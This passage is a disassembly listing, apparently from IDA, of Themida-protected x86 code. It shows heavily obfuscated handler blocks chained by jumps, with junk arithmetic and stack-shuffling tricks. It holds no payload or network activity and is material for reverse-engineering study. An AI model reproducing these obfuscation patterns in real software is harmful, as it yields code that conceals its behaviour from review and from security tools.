		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 45342B63h
		sub	ebp, 39132945h
		push	ecx
		mov	ecx, 11B44CD5h
		add	ebp, ecx
		pop	ecx
		neg	ebp
		and	ebp, 5B364BEDh
		neg	ebp
		sub	ebp, 0BDDDFEEFh
		jmp	loc_59CBD2
; ---------------------------------------------------------------------------


loc_5A6040:				; CODE XREF: Themida_:0059D0BCj
		neg	dh
		jz	loc_59A843
		xor	dh, 40h
		push	eax
		mov	al, dh
		mov	bh, al
		jmp	loc_599449
; ---------------------------------------------------------------------------


loc_5A6055:				; CODE XREF: Themida_:0059D04Bj
					; Themida_:005A4FC6j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A3052
; ---------------------------------------------------------------------------


loc_5A6060:				; CODE XREF: Themida_:005ABB18j
		jle	loc_5A727E
		jmp	loc_5A140C
; ---------------------------------------------------------------------------


loc_5A606B:				; CODE XREF: Themida_:005A2F6Cj
		pop	ecx
		sub	ecx, 8AC761Eh
		mov	eax, [esp]
		jmp	loc_5AE7E3
; ---------------------------------------------------------------------------


loc_5A607A:				; CODE XREF: Themida_:0059B1B8j
		xor	ebp, 0EC2FC02Bh
		jmp	loc_5A3653
; ---------------------------------------------------------------------------


loc_5A6085:				; CODE XREF: Themida_:005A24B1j
		pop	eax
		sub	dl, bl
		add	dl, 0AAh
		sub	dl, 4Bh
		sub	dl, 2Eh
		pop	bx
		shl	dl, 4
		jmp	loc_5AD818
; ---------------------------------------------------------------------------


loc_5A609B:				; CODE XREF: Themida_:005AE832j
		push	ebp
		mov	ebp, 1641F4Ch
		jmp	loc_5A968C
; ---------------------------------------------------------------------------


loc_5A60A6:				; CODE XREF: Themida_:0059AE55j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5A782C
; ---------------------------------------------------------------------------


loc_5A60B2:				; CODE XREF: Themida_:005ADD20j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A2FE0
; ---------------------------------------------------------------------------


loc_5A60C6:				; CODE XREF: Themida_:005A3220j
		add	dword ptr [esp+4], 250C6AA0h
		mov	eax, [esp]
		jmp	loc_59E4F8
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A60DE:				; CODE XREF: Themida_:005A145Aj
		push	87A7F69h
		pop	ebp
		neg	ebp
		jmp	loc_5A2204
; ---------------------------------------------------------------------------


loc_5A60EB:				; CODE XREF: Themida_:005A0E86j
		and	ebx, 68BB541Dh
		jmp	loc_5A3A49
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		push	edx
		push	ebx
		jmp	loc_5A40E7
; ---------------------------------------------------------------------------


loc_5A6104:				; CODE XREF: Themida_:00598DB0j
					; Themida_:005A7D05j
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5A639A
; ---------------------------------------------------------------------------


loc_5A6115:				; CODE XREF: Themida_:005A05ADj
		add	esp, 4
		jmp	loc_5A2DCD
; ---------------------------------------------------------------------------


loc_5A6120:				; CODE XREF: Themida_:0059A666j
		or	esi, 43DD54B5h
		sub	esi, 51F16E10h
		mov	edx, esi
		pop	esi
		add	edx, edi
		pop	edi
		jmp	loc_5AF293
; ---------------------------------------------------------------------------


loc_5A6137:				; CODE XREF: Themida_:0059A7D0j
		sub	edx, edi
		pop	edi
		jmp	loc_59E282
; ---------------------------------------------------------------------------


loc_5A613F:				; CODE XREF: Themida_:0059888Ej
					; Themida_:005A9BEEj
		push	4828h
		mov	[esp], edi
		jmp	loc_5A565D
; ---------------------------------------------------------------------------


loc_5A614C:				; CODE XREF: Themida_:0059EDC8j
		jmp	loc_5A9EAE
; ---------------------------------------------------------------------------


loc_5A6151:				; CODE XREF: Themida_:005AC23Dj
		pop	ecx
		jmp	loc_5AAA14
; ---------------------------------------------------------------------------


loc_5A6157:				; CODE XREF: Themida_:005A38F2j
		pop	eax
		jmp	loc_5A84E6
; ---------------------------------------------------------------------------


loc_5A615D:				; CODE XREF: Themida_:005999FDj
		mov	[esp], edx
		mov	dh, 0Eh
		inc	dh
		shl	dh, 3
		jmp	loc_5A15FD
; ---------------------------------------------------------------------------


loc_5A616C:				; CODE XREF: Themida_:005A9D52j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A86F6
; ---------------------------------------------------------------------------


loc_5A6177:				; CODE XREF: Themida_:005A75DDj
		mov	edi, 4
		jmp	loc_598554
; ---------------------------------------------------------------------------


loc_5A6181:				; CODE XREF: Themida_:005A584Cj
		xchg	edx, [esp]
		jmp	loc_598578
; ---------------------------------------------------------------------------


loc_5A6189:				; CODE XREF: Themida_:loc_59E4E5j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A49D9
; ---------------------------------------------------------------------------


loc_5A6194:				; CODE XREF: Themida_:00599B53j
					; Themida_:005ADDE2j
		inc	ebp
		dec	ebp
		and	ebp, 72BE4115h
		push	50C4h
		jmp	loc_5ABCFE
; ---------------------------------------------------------------------------


loc_5A61A6:				; CODE XREF: Themida_:0059EADBj
		xor	dl, 0A9h
		shl	dl, 6
		push	ax
		mov	al, 2Fh
		jmp	loc_599AB5
; ---------------------------------------------------------------------------


loc_5A61B5:				; CODE XREF: Themida_:005A024Aj
		add	[esp+4], edi
		jmp	loc_5AB419
; ---------------------------------------------------------------------------


loc_5A61BE:				; CODE XREF: Themida_:005A412Aj
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5A3620
; ---------------------------------------------------------------------------


loc_5A61D4:				; CODE XREF: Themida_:005A79FBj
		pop	ebx
		xor	eax, ebp
		pop	ebp
		push	eax
		add	dword ptr [esp], 418F645Dh
		pop	esi
		jmp	loc_5AA6E7
; ---------------------------------------------------------------------------


loc_5A61E6:				; CODE XREF: Themida_:0059C172j
					; Themida_:005A18BCj
		add	esp, 4
		add	ebx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_59F87B
; ---------------------------------------------------------------------------


loc_5A61F7:				; CODE XREF: Themida_:0059E02Cj
		add	eax, 4
		push	ecx
		jmp	loc_59960E
; ---------------------------------------------------------------------------


loc_5A6202:				; CODE XREF: Themida_:005A7DF4j
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	3423h
		mov	[esp], ebp
		jmp	loc_5985F6
; ---------------------------------------------------------------------------


loc_5A6223:				; CODE XREF: Themida_:loc_599407j
		push	eax
		push	ecx
		jmp	loc_599B5E
; ---------------------------------------------------------------------------


loc_5A622A:				; CODE XREF: Themida_:005A53B0j
		push	5E01h
		jmp	loc_5AC602
; ---------------------------------------------------------------------------


loc_5A6234:				; CODE XREF: Themida_:005A77FAj
		pop	ecx
		sub	bl, al
		sub	bl, 0D6h
		jmp	loc_59D74C
; ---------------------------------------------------------------------------


loc_5A623F:				; CODE XREF: Themida_:005AEB25j
		push	eax
		jmp	loc_5A1E1F
; ---------------------------------------------------------------------------


loc_5A6245:				; CODE XREF: Themida_:0059C1ADj
		and	ecx, 3AFB3689h
		jmp	loc_59A0BF
; ---------------------------------------------------------------------------


loc_5A6250:				; CODE XREF: Themida_:005A6EB3j
		add	edx, 4
		push	ebx
		jmp	loc_5A39BA
; ---------------------------------------------------------------------------


loc_5A625C:				; CODE XREF: Themida_:005A7757j
		jb	loc_5AB1C0
		jmp	loc_5A9909
; ---------------------------------------------------------------------------


loc_5A6267:				; CODE XREF: Themida_:005AD7EEj
		push	eax
		jmp	loc_5995D6
; ---------------------------------------------------------------------------


loc_5A626D:				; CODE XREF: Themida_:005ABB9Ej
		mov	ecx, [esp]
		jmp	loc_5ADD5C
; ---------------------------------------------------------------------------


loc_5A6275:				; CODE XREF: Themida_:0059EB90j
		mov	ebx, [esp]
		jmp	loc_5A769C
; ---------------------------------------------------------------------------


loc_5A627D:				; CODE XREF: Themida_:005A74B4j
		sub	esp, 4
		jmp	loc_5A46E1
; ---------------------------------------------------------------------------


loc_5A6285:				; CODE XREF: Themida_:005A1667j
		or	cl, 58h
		add	cl, 6Ah
		xor	cl, 5Fh
		sub	dl, cl
		pop	ecx
		add	ah, dl
		jmp	loc_5A0033
; ---------------------------------------------------------------------------


loc_5A6298:				; CODE XREF: Themida_:005A460Bj
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_59D763
; ---------------------------------------------------------------------------


loc_5A62A3:				; CODE XREF: Themida_:005A4AB7j
		mov	[esp], edi
		push	ecx
		jmp	loc_5ACF5A
; ---------------------------------------------------------------------------


loc_5A62AC:				; CODE XREF: Themida_:00599A3Bj
		mov	eax, [esp]
		add	esp, 4
		or	eax, 462234B9h
		sub	eax, 2F1C24D1h
		jmp	loc_5AB9B0
; ---------------------------------------------------------------------------


loc_5A62C1:				; CODE XREF: Themida_:005A1DF4j
		pop	ecx
		jmp	loc_59FCEA
; ---------------------------------------------------------------------------


loc_5A62C7:				; CODE XREF: Themida_:005A1B7Aj
					; Themida_:005A74EDj
		sub	ebx, 0EBB5082h
		jmp	loc_5A0DF8
; ---------------------------------------------------------------------------


loc_5A62D2:				; CODE XREF: Themida_:0059C121j
					; Themida_:005A850Fj
		add	esp, 4
		jmp	loc_5A0837
; ---------------------------------------------------------------------------


loc_5A62DA:				; CODE XREF: Themida_:005AED12j
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_59ECF4
; ---------------------------------------------------------------------------


loc_5A62E4:				; CODE XREF: Themida_:005AA71Cj
		push	ebp
		mov	ebp, 1A233121h
		mov	eax, ebp
		jmp	loc_5A40A4
; ---------------------------------------------------------------------------


loc_5A62F1:				; CODE XREF: Themida_:005AAB63j
		mov	[esp], ebx
		mov	ebx, 533713B4h
		add	ebp, ebx
		pop	ebx
		add	edx, 7733893h
		jmp	loc_5A6AD7
; ---------------------------------------------------------------------------


loc_5A6307:				; CODE XREF: Themida_:005AC499j
		and	[esp], eax
		pushf
		jmp	loc_5ABD3E
; ---------------------------------------------------------------------------


loc_5A6310:				; CODE XREF: Themida_:0059851Ej
					; Themida_:00599ED1j
		push	14FCh
		mov	[esp], ebp
		push	0A29h
		mov	[esp], eax
		mov	eax, 61770B2Ah
		push	eax
		mov	eax, 667B6A0Eh
		jmp	loc_5A6C0D
; ---------------------------------------------------------------------------


loc_5A6330:				; CODE XREF: Themida_:005A4C31j
		add	ecx, 17077594h
		jb	loc_5A44F2
		and	ecx, 60A75FCDh
		jmp	loc_5A161B
; ---------------------------------------------------------------------------


loc_5A6347:				; CODE XREF: Themida_:loc_5A07E6j
		jmp	loc_5AC60B
; ---------------------------------------------------------------------------


loc_5A634C:				; CODE XREF: Themida_:005AA97Aj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5AF4A2
; ---------------------------------------------------------------------------


loc_5A6357:				; CODE XREF: Themida_:005ADA98j
		mov	dl, 0A8h
		push	eax
		jmp	loc_5A4938
; ---------------------------------------------------------------------------


loc_5A635F:				; CODE XREF: Themida_:005A2536j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5A5CF7
; ---------------------------------------------------------------------------


loc_5A637A:				; CODE XREF: Themida_:0059B074j
		pop	ecx
		push	ebp
		jmp	loc_5A4EC3
; ---------------------------------------------------------------------------


loc_5A6381:				; CODE XREF: Themida_:005A91FEj
		add	esp, 4
		neg	dh
		inc	dh
		sub	dh, 3Fh
		sub	cl, dh
		jmp	loc_59DF97
; ---------------------------------------------------------------------------


loc_5A6392:				; CODE XREF: Themida_:0059B8F0j
		mov	[esp], ecx
		jmp	loc_5A3AD8
; ---------------------------------------------------------------------------


loc_5A639A:				; CODE XREF: Themida_:005A6110j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A63A6:				; CODE XREF: Themida_:005A5ACCj
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59F305
; ---------------------------------------------------------------------------


loc_5A63B5:				; CODE XREF: Themida_:005AC0A9j
		dec	ebp
		add	ebp, 3C701333h
		jmp	loc_5A5DAB
; ---------------------------------------------------------------------------


loc_5A63C1:				; CODE XREF: Themida_:005A9CD6j
		jnz	loc_59DFFE
		dec	ebp
		jnp	loc_5A7D86
		push	ecx
		mov	ecx, 3AB0DC03h


loc_5A63D4:				; CODE XREF: Themida_:005A9B26j
		sub	eax, 0EDF6B7h
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 5DF95234h
		not	eax
		jmp	loc_5A9CBE
; ---------------------------------------------------------------------------


loc_5A63E9:				; CODE XREF: Themida_:005A2760j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 787B0B2Bh
		jmp	loc_5ABB3D
; ---------------------------------------------------------------------------


loc_5A63FA:				; CODE XREF: Themida_:005AF093j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A5D1F
; ---------------------------------------------------------------------------


loc_5A6406:				; CODE XREF: Themida_:005AEF90j
		mov	ecx, ebx
		jmp	loc_59B501
; ---------------------------------------------------------------------------


loc_5A640D:				; CODE XREF: Themida_:005A924Ej
		push	edx
		push	7Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		push	2A98h
		mov	[esp], edx
		mov	edx, 65320F66h
		mov	ebx, 65320F6Ah
		add	ebx, 48245955h
		sub	ebx, edx
		sub	ebx, 48245955h
		pop	edx
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 4073246Dh
		jmp	loc_5A4B06
; ---------------------------------------------------------------------------


loc_5A6459:				; CODE XREF: Themida_:005AC300j
		mov	cl, 0A8h
		jmp	loc_5A4EB0
; ---------------------------------------------------------------------------


loc_5A6460:				; CODE XREF: Themida_:0059E39Aj
		push	ecx
		mov	ecx, 2AA94F75h
		add	esi, ecx
		pop	ecx
		add	esi, ebx
		jmp	loc_59FE8E
; ---------------------------------------------------------------------------


loc_5A6470:				; CODE XREF: Themida_:0059F6C4j
					; Themida_:005ADE11j
		add	eax, 97B635CAh
		or	esi, eax
		pop	eax
		xor	esi, 447C4946h
		push	edx
		jmp	loc_599C1C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_59BBC3
; ---------------------------------------------------------------------------


loc_5A6493:				; CODE XREF: Themida_:005AF1BFj
		shl	esi, 4
		jmp	loc_5A914D
; ---------------------------------------------------------------------------


loc_5A649B:				; CODE XREF: Themida_:005A5817j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A2E93
; ---------------------------------------------------------------------------


loc_5A64B0:				; CODE XREF: Themida_:0059DE92j
		neg	eax
		js	loc_59A9DC
		shr	eax, 4
		jp	loc_59A5B2
		shr	eax, 3
		jnz	loc_5AAD55
		jmp	loc_5A3947
; ---------------------------------------------------------------------------
		push	ebp
		mov	cl, ch
		mov	ch, 0ECh


loc_5A64D4:				; CODE XREF: Themida_:005A1AE0j
		push	7AEBh
		jmp	loc_5A279B
; ---------------------------------------------------------------------------


loc_5A64DE:				; CODE XREF: Themida_:0059EECDj
		pop	esp
		jmp	loc_5A26F7
; ---------------------------------------------------------------------------


loc_5A64E4:				; CODE XREF: Themida_:005A1D7Bj
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A64F0:				; CODE XREF: Themida_:005A2818j
		xor	ebp, 3299EFB1h
		sub	ebx, 4CAF4F3Ch
		jmp	loc_5A9701
; ---------------------------------------------------------------------------


loc_5A6501:				; CODE XREF: Themida_:005AD211j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5A5417
; ---------------------------------------------------------------------------


loc_5A650C:				; CODE XREF: Themida_:0059B7E9j
					; Themida_:0059DFC7j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	bx
		add	al, 76h
		sub	al, dh
		jmp	loc_59B1F1
; ---------------------------------------------------------------------------


loc_5A652D:				; CODE XREF: Themida_:005A2A2Dj
		mov	[esp], edx
		push	2
		pop	edx
		add	ebx, 305A543Bh
		add	ebx, edx
		sub	ebx, 305A543Bh
		jmp	loc_5A7856
; ---------------------------------------------------------------------------


loc_5A6549:				; CODE XREF: Themida_:005AB8EBj
		pop	ecx
		push	edx
		jmp	loc_5A3996
; ---------------------------------------------------------------------------


loc_5A6550:				; CODE XREF: Themida_:005ABB90j
		add	bl, 7
		pop	dx
		pop	eax
		sub	esp, 2
		jmp	loc_5AE445
; ---------------------------------------------------------------------------


loc_5A6561:				; CODE XREF: Themida_:005A3088j
		pop	edi
		not	esi
		sub	esi, 137B9040h
		mov	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 337A1F28h
		jmp	loc_5997A2
; ---------------------------------------------------------------------------


loc_5A6578:				; CODE XREF: Themida_:0059E05Fj
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5A1BFA
; ---------------------------------------------------------------------------


loc_5A6584:				; CODE XREF: Themida_:0059A4F9j
					; Themida_:loc_59B198j
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 5E225E0h
		jmp	loc_59DDA0
; ---------------------------------------------------------------------------


loc_5A6595:				; CODE XREF: Themida_:0059BA7Fj
					; Themida_:0059C4BFj
		jnp	loc_5AA946
		sub	ebp, 754A18A9h
		jmp	loc_59FB06
; ---------------------------------------------------------------------------


loc_5A65A6:				; CODE XREF: Themida_:0059897Ej
		neg	eax
		add	eax, 8430C06Dh
		mov	edi, eax
		pop	eax
		add	ecx, 5DF60ACAh
		add	ecx, edi
		sub	ecx, 5DF60ACAh
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		push	edx
		mov	edx, 556C091Dh
		jmp	loc_5AC042
; ---------------------------------------------------------------------------


loc_5A65D9:				; CODE XREF: Themida_:005ABBD7j
		inc	edx
		jg	loc_5A0EB8
		add	edx, 56D002BBh
		jmp	loc_5A4B7E
; ---------------------------------------------------------------------------


loc_5A65EB:				; CODE XREF: Themida_:005A2C61j
					; Themida_:loc_5A3225j
		mov	ebp, 6EA8753Eh
		add	[esp+8], ebp
		pop	ebp
		pop	eax
		pop	eax
		push	668Ch
		mov	[esp], ecx
		mov	ecx, 3F6F0241h
		add	eax, ecx
		jmp	loc_5AEFDE
; ---------------------------------------------------------------------------


loc_5A660B:				; CODE XREF: Themida_:00599F33j
		mov	[esp], eax
		push	47A21E9Dh
		jmp	loc_5ACCD5
; ---------------------------------------------------------------------------


loc_5A6618:				; CODE XREF: Themida_:0059F8F4j
		add	esp, 4
		jmp	loc_59BE9F
; ---------------------------------------------------------------------------


loc_5A6623:				; CODE XREF: Themida_:0059A62Ej
		push	small word ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A663A:				; CODE XREF: Themida_:005AB5C1j
		mov	[esp], ecx
		mov	ecx, 22201663h
		shl	ecx, 3
		dec	ecx
		jle	loc_5993AC
		dec	ecx
		jl	loc_59A03A
		jmp	loc_5997D7
; ---------------------------------------------------------------------------


loc_5A6658:				; CODE XREF: Themida_:005A3D22j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_59A0DA
; ---------------------------------------------------------------------------


loc_5A6677:				; CODE XREF: Themida_:0059C38Fj
		dec	ebp
		xchg	eax, ebp
		sub	eax, 0FC22CDD4h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59B223
; ---------------------------------------------------------------------------


loc_5A669B:				; CODE XREF: Themida_:005A3B57j
		add	esp, 4
		push	209Ch
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		jmp	loc_5996BE
; ---------------------------------------------------------------------------


loc_5A66BB:				; CODE XREF: Themida_:005A5E3Fj
		pop	ebx
		jmp	loc_59B146
; ---------------------------------------------------------------------------


loc_5A66C1:				; CODE XREF: Themida_:0059DCADj
		and	ebp, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5AF151
; ---------------------------------------------------------------------------


loc_5A66D5:				; CODE XREF: Themida_:005A7A30j
		sub	eax, 0CF448420h
		xor	ebp, eax
		jmp	loc_5A8197
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	185Dh
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5AE47A
; ---------------------------------------------------------------------------


loc_5A66FD:				; CODE XREF: Themida_:0059BC7Cj
		push	ebp
		mov	ebp, esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		jmp	loc_5A46A4
; ---------------------------------------------------------------------------


loc_5A670F:				; CODE XREF: Themida_:005AE533j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		jmp	loc_5AA248
; ---------------------------------------------------------------------------


loc_5A671E:				; CODE XREF: Themida_:00598F3Ej
		shl	edi, 6
		xor	edi, 7155B059h
		xor	eax, edi
		jmp	loc_5A8F8A
; ---------------------------------------------------------------------------


loc_5A672E:				; CODE XREF: Themida_:loc_59C133j
		xor	ebx, 187B5BD3h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5AD9EC
; ---------------------------------------------------------------------------


loc_5A673C:				; CODE XREF: Themida_:005A3A34j
		add	esp, 4
		sub	ecx, esi
		add	ecx, 52A00D56h
		push	eax
		mov	eax, 0F7E7FB8h
		sub	eax, 4AAA0B07h
		or	eax, 3A5508C2h
		dec	eax
		inc	eax
		add	eax, 6C0EFCFEh
		jmp	loc_5A73B4
; ---------------------------------------------------------------------------


loc_5A6763:				; CODE XREF: Themida_:005A8A43j
		mov	ax, [esp]
		jmp	loc_5AD72A
; ---------------------------------------------------------------------------


loc_5A676C:				; CODE XREF: Themida_:005A7AA4j
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5A3339
; ---------------------------------------------------------------------------


loc_5A6787:				; CODE XREF: Themida_:005AE15Fj
		add	esp, 4
		push	3FA3h
		mov	[esp], edx
		mov	dh, bl
		mov	[edi+eax*4+1], dh
		jmp	loc_5A399C
; ---------------------------------------------------------------------------


loc_5A67A0:				; CODE XREF: Themida_:0059C9B1j
					; Themida_:0059F68Bj
		xor	ecx, 5F6F0FFBh
		jmp	loc_599982
; ---------------------------------------------------------------------------


loc_5A67AB:				; CODE XREF: Themida_:loc_598F13j
		jmp	loc_5A438B
; ---------------------------------------------------------------------------


loc_5A67B0:				; CODE XREF: Themida_:0059A4D7j
		mov	edi, 0FFFFFFFFh
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 17F625D7h
		xor	edi, 508F2EC6h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AE135
; ---------------------------------------------------------------------------


loc_5A67D4:				; CODE XREF: Themida_:005ABD9Cj
		add	esi, 1AFC3C81h
		jmp	loc_5AA1E6
; ---------------------------------------------------------------------------


loc_5A67DF:				; CODE XREF: Themida_:005A8D03j
		shl	dh, 6
		neg	dh
		sub	dh, 6Eh
		push	eax
		mov	al, dh
		jmp	loc_5AC64C
; ---------------------------------------------------------------------------


loc_5A67EF:				; CODE XREF: Themida_:005A371Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AEBF0
; ---------------------------------------------------------------------------


loc_5A67FD:				; CODE XREF: Themida_:0059E235j
		mov	edx, [esp]
		jmp	loc_5ACFBA
; ---------------------------------------------------------------------------


loc_5A6805:				; CODE XREF: Themida_:005A9A68j
		mov	edi, 1AEC7EA0h
		push	2B7FA1B5h
		pop	eax
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_599FEB
; ---------------------------------------------------------------------------


loc_5A6822:				; CODE XREF: Themida_:005AEA5Ej
		neg	ecx
		sub	ecx, 3FE78514h
		jmp	loc_5ADA23
; ---------------------------------------------------------------------------


loc_5A682F:				; CODE XREF: Themida_:005A9515j
		add	cl, dl
		pop	edx
		sub	al, 0CCh
		add	al, 0D1h
		sub	al, 3Fh
		jmp	loc_5A1A97
; ---------------------------------------------------------------------------


loc_5A683D:				; CODE XREF: Themida_:0059B75Dj
		xor	ebx, edx
		jmp	loc_5A4821
; ---------------------------------------------------------------------------


loc_5A6844:				; CODE XREF: Themida_:005A4EB3j
		sub	cl, 72h
		add	dl, cl
		pop	ecx
		sub	dl, 24h
		sub	dl, 68h
		add	dl, cl
		add	dl, 68h
		add	dl, 24h
		sub	dl, 70h
		jmp	loc_5A9111
; ---------------------------------------------------------------------------


loc_5A6860:				; CODE XREF: Themida_:005A7B83j
		xchg	ebp, [esp]
		jmp	loc_59C5A8
; ---------------------------------------------------------------------------


loc_5A6868:				; CODE XREF: Themida_:005A3889j
		mul	ecx
		push	76BDh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_59954C
; ---------------------------------------------------------------------------


loc_5A688E:				; CODE XREF: Themida_:005AB796j
		sub	dword ptr [esp+4], 69D567A5h
		add	[esp+4], edx
		push	eax
		mov	eax, 69D567A5h
		jmp	loc_599555
; ---------------------------------------------------------------------------


loc_5A68A5:				; CODE XREF: Themida_:005A1808j
		mov	edx, 794D6018h
		jmp	loc_59CBF5
; ---------------------------------------------------------------------------


loc_5A68AF:				; CODE XREF: Themida_:0059D54Ej
		mov	ecx, esi
		pop	esi
		add	ebx, ecx
		pop	ecx
		jmp	loc_5AA648
; ---------------------------------------------------------------------------


loc_5A68BA:				; CODE XREF: Themida_:0059DF87j
		push	edi
		xor	dword ptr [esp], 236729BCh
		pop	ebx
		xor	ebx, 236729BCh
		mov	edi, [esp]
		add	esp, 4
		add	ebx, edx
		mov	[ebx], al
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	ebx
		jmp	loc_59D0C1
; ---------------------------------------------------------------------------


loc_5A68F8:				; CODE XREF: Themida_:005A8B00j
		pop	ecx
		and	dl, 8Fh
		xor	dl, 62h
		mov	bh, dl
		mov	edx, [esp]
		add	esp, 4
		xor	al, bh
		jmp	loc_59E932
; ---------------------------------------------------------------------------


loc_5A6911:				; CODE XREF: Themida_:005A9EB7j
		jmp	loc_5988F1
; ---------------------------------------------------------------------------


loc_5A6916:				; CODE XREF: Themida_:loc_5A9B95j
		jmp	loc_5A9CD0
; ---------------------------------------------------------------------------


loc_5A691B:				; CODE XREF: Themida_:005A9A29j
		add	ecx, edx
		add	dword ptr [ecx], 1
		pop	ecx
		pop	edx
		jmp	loc_5990A9
; ---------------------------------------------------------------------------


loc_5A692A:				; CODE XREF: Themida_:0059DE42j
		add	edx, 45626E6Fh
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_59E93B
; ---------------------------------------------------------------------------


loc_5A6946:				; CODE XREF: Themida_:005ACBD8j
		push	ebx
		mov	bl, 89h
		mov	ch, 0E4h
		add	ch, bl
		jmp	loc_599F44
; ---------------------------------------------------------------------------


loc_5A6952:				; CODE XREF: Themida_:loc_5A96D5j
		xor	eax, 6ABF3E62h
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A3AFB
; ---------------------------------------------------------------------------


loc_5A6962:				; CODE XREF: Themida_:005AEF57j
		xor	edx, 2DD67E54h
		mov	eax, edx
		jmp	loc_59F194
; ---------------------------------------------------------------------------


loc_5A696F:				; CODE XREF: Themida_:005A1E5Cj
		pop	ecx
		jmp	loc_599185
; ---------------------------------------------------------------------------


loc_5A6975:				; CODE XREF: Themida_:0059B708j
					; Themida_:005A1537j
		neg	eax
		jmp	loc_59D3EE
; ---------------------------------------------------------------------------


loc_5A697C:				; CODE XREF: Themida_:005AB3F0j
		add	ebx, edi
		sub	ebx, 47ED53A3h
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_59D3A9
; ---------------------------------------------------------------------------


loc_5A6993:				; CODE XREF: Themida_:005AE185j
		sub	edi, 22F2765Eh
		add	edi, ebp
		add	edi, 22F2765Eh
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		push	eax
		mov	eax, 60D41C9h
		xor	eax, 6E812701h
		jmp	loc_59AEBB
; ---------------------------------------------------------------------------


loc_5A69C0:				; CODE XREF: Themida_:005A8C3Aj
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A6D2E
; ---------------------------------------------------------------------------


